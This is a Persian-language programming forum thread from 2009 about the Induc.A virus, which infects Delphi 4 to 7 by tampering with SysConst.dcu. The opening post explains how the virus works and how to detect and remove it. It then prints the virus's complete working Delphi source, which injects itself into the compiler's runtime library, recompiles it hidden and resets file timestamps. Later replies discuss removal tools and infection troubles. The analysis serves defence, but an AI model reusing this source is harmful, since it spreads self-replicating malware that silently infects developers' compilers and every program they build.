PDA

View Full Version : مقاله: آناليز ويروسي كه دلفي را آلوده ميكند Induc.A



Fh_prg
پنج شنبه 29 مرداد 1388, 10:05 صبح
مقدمه:
به تازگي ويروسي منتشر شده كه فقط دلفي راهدف قرار ميده و دلفي آلوده شده فايلهاي آلوده كامپايل خواهد كرد. اين ويروس تحت عنوان Induc.A توسط بعضي از آنتي ويروسها شناسايي ميشه كه A نشون دهنده اينه كه اين ويروس هنوز در اول راهه و بايد در آينده منتظر ويروسهاي مخربي از اين نوع باشيم. اين نسخه فقط به صورت آزمايشي ساخته شده تا نحوه گسترشش آزمايش بشه و به نظر مياد موفق بوده تا حدي...


طريقه آلوده شدن:
نصب كامپوننت آلوده يا اجرا كردن فايل آلوده كه با دلفي آلوده ساخته شده.
اين ويروس فعلا فقط دلفي 4 تا 7 را آلوده ميكند.


طرز كار ويروس:
در تمام نسخه هاي دلفي فايلي به نام SysConst.dcu در فولدر Lib وجود داره كه در صورتي كه شما در برنامه به صورت مستقيم يا غير مستقيم از يونيت SysUtils استفاده كرده باشيد هنگام كامپايل ، دلفي يونيت SysConst را به برنامه شما الحاق خواهد كرد. ويروس فوق با آلوده كردن يونيت SysConst.dcu باعث ميشه كه دلفي فايلهاي آلوده توليد كنه...
اين ويروس فعلا خطري نداره و جز تكثير خودش عمل مخرب ديگه اي انجام نميده.


طريقه شناسايي و حذف كردن:
كافيه داخل فولدر Lib دلفي دنبال فايلي با نام SysConst.bak بگردين در صورت وجود دلفي شما آلوده شده سپس فايل SysConst.dcu را حذف كرده و فايل SysConst.bak را به SysConst.dcu تغيير نام دهيد.
در پايان كليه برنامه هايي كه با دلفي آلوده كامپايل كرديد مجددا كامپايل كنيد.


جلوگيري از آلوده شدن:
اگر از فولدر Source دلفي استفاده نميكنيد كافيه اين فولدر رو تغيير نام بديد يا حذف كنيد.



در پايان سورس كامل اين ويروس ساده رو ضميمه كردم فقط براي مطالعه....

مديران بخش با صلاحديد خودشون مطلب من رو ويرايش كنن
با تشكر.




program InducVirus;
uses windows;
var sc:array[1..24] of string=(
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,nil,3,0,0);
if h<>DWORD(-1) then begin
CloseHandle(h);
exit;
end;
{'I-}
assignfile(f1,s);
reset(f1);
if ioresult<>0 then exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then begin
closefile(f1);
exit;
end;
while not eof(f1) do begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then break;
end;
for h:= 1 to 1 do writeln(f2,sc[h]);
for h:= 1 to 23 do writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}
MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+'"'+d+'pas"'),nil,nil,false,0,nil,nil,f,p);
if b then WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h:=CreateFile(pchar(d+'bak'),0,0,nil,3,0,0);
if h=DWORD(-1) then exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h:=CreateFile(pchar(d+'dcu'),256,0,nil,3,0,0);
if h=DWORD(-1) then exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do if RegOpenKeyEx(HKEY_LOCAL_MACHINE,
pchar('Software\Borland\Delphi\'+v+'.0'),0,
KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin
r:='';
i:=1;
while c[i]<>#0 do begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sys const.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.

دنیای دلفی
پنج شنبه 29 مرداد 1388, 14:05 عصر
عجب ويروس كثيفي بود سيستم من با اين همه سيستم امنيتي آلوده بود .
دست خوش:متفکر:

دنیای دلفی
پنج شنبه 29 مرداد 1388, 14:07 عصر
Fh_prg (http://barnamenevis.org/forum/member.php?u=325) جان (http://barnamenevis.org/forum/member.php?u=325)

ميشه بگيد به چه صورتي وارد سيستم ميشه

babak869
جمعه 13 شهریور 1388, 15:37 عصر
آدرس شناسایی توسط کسپر
http://www.viruslist.com/en/weblog?weblogid=208187826
یکی از راههای ویروسی شدن :
http://www.irandelphi.ir/showthread.php?p=1992#post1992

MOJTABAATEFEH
یک شنبه 19 مهر 1388, 00:29 صبح
به نظر دوستان امكان داره خود كمپاني اين روش رو براي منسوخ كردن نسخه هاي پايين دلفي بكار برده باشه تا كاربران دلفي مجبور به استفاده از ورژن هاي جديد دلفي شوند؟

ali_abbasi22145
سه شنبه 19 آبان 1388, 13:18 عصر
سلام
من پيشنهاد مي كنم كه اين فايل ويروس را براي AVG , AVIRA ANIVIR,MCAFEE به خصوص ويروس كش ايمن خودمان بفرستم تا ضدش را توليد كنند و اگر تخريبي ديگري داشت كه آنتي ويروس نويسها پيدا كردند هم حل شود!

ali_abbasi22145
سه شنبه 19 آبان 1388, 13:48 عصر
سلام
Avira AntiVir Removal Tool (Delphi-Virus W32/Induc.A)
Special version that checks the PC for an infection with the delphi virus W32/Induc.A

ابزار پاك كردن اين ويروس:
http://www.avira.com/en/support/support_downloads.html

ali_abbasi22145
یک شنبه 29 آذر 1388, 16:11 عصر
سلام
اين هم ابزار ديگر حذف آن ويروس براي اطمينان بيشتر!

http://www.gsa-online.de/?page=products&product=delphi_induc_virus_remover

دلفــي
پنج شنبه 03 دی 1388, 12:39 عصر
اين هم از Remover ويروس Induc.A

seyed_27
سه شنبه 07 اردیبهشت 1389, 14:29 عصر
عزیزایی که به این ویروس آلوده بودن و فایلی در این سایت یا جای دیگه آپ کردند ، خواهشا اونا رو اصلاح کنن تا دیگرون اسیر نشن

ali_abbasi22145
سه شنبه 07 اردیبهشت 1389, 15:49 عصر
سلام
من داخل فولدر Lib دلفي دنبال فايلي با نام SysConst.bak گشتم و پيدا نكردم و باز هم جديدا دلفي 7 برنامه كامپايل مي كنم خطا مي دهد! همچنين در شاخه دلفي Source تغيير نام به Source دادم باز هم مشكل وجود دارد.
پيشنهاد مي كنم يكي SysConst.dcu را اينجا Upload كند تا به جاي فايل خودمان كپي كنيم.

اگر مي خواهيد ببينيد دلفي شما آلوده است فايل upload زير را موقعي AVG Ver.9 free نصب و به روز شده كامپايل كنيد!

كسي مشكلم را مي تواند حل كند؟

ali_abbasi22145
یک شنبه 12 اردیبهشت 1389, 15:32 عصر
سلام
من يك دلفي جديد در يك كامپيوتري كه هيچ وقت دلفي نصب نشده بود نصب كردم و تست بالا را انجام دادم و باز مشكل داشت!
براي اين دلفي جديد نصب كردم كه فايل SysConst.dcu سالم در كامپيوتر ويروس دلفي داردم كپي كنم.
پس يكي كمكم كند!

ali_abbasi22145
سه شنبه 14 اردیبهشت 1389, 09:05 صبح
برای تست دیگر من کامپیوتر را فرمت کردم و ویندوز 7 نصب کردم و انتی ویروس با به روز رسانی آن نصب کردم و دلفی را نصب کردم و باز این مشکل وجود داشت!
یعنی در خود cd دلفی اصلی که نصب می کنیم این مشکل است؟

joker
سه شنبه 14 اردیبهشت 1389, 10:06 صبح
یه آنتی ویروس مثلا Nod نصب کن ، آپدیتش کن ، اینقدر خودتو اذیت نکن :)

ali_abbasi22145
چهارشنبه 15 اردیبهشت 1389, 11:45 صبح
از آنتي ويروس AVG صرف نظركردم و AVIRA AntiVir 10 به روز شده نصب كردم و چك كردم و مشكلي نداشت شايد حق با دوستمان Joker بود!

ho.yasreby
جمعه 06 خرداد 1390, 18:00 عصر
این برنامه را دانلود و پوشه برنامه ای که نوشته اید را اسکن کنید (البته قبلش آنتی ویروس سیستم را غیر فعال نمایید ) این برنامه ویروس موجود در فایل اجرایی شما را از بین میبرد
موفق باشید.

https://rapidshare.com/files/2586696228/induc_cleaner_setup.exe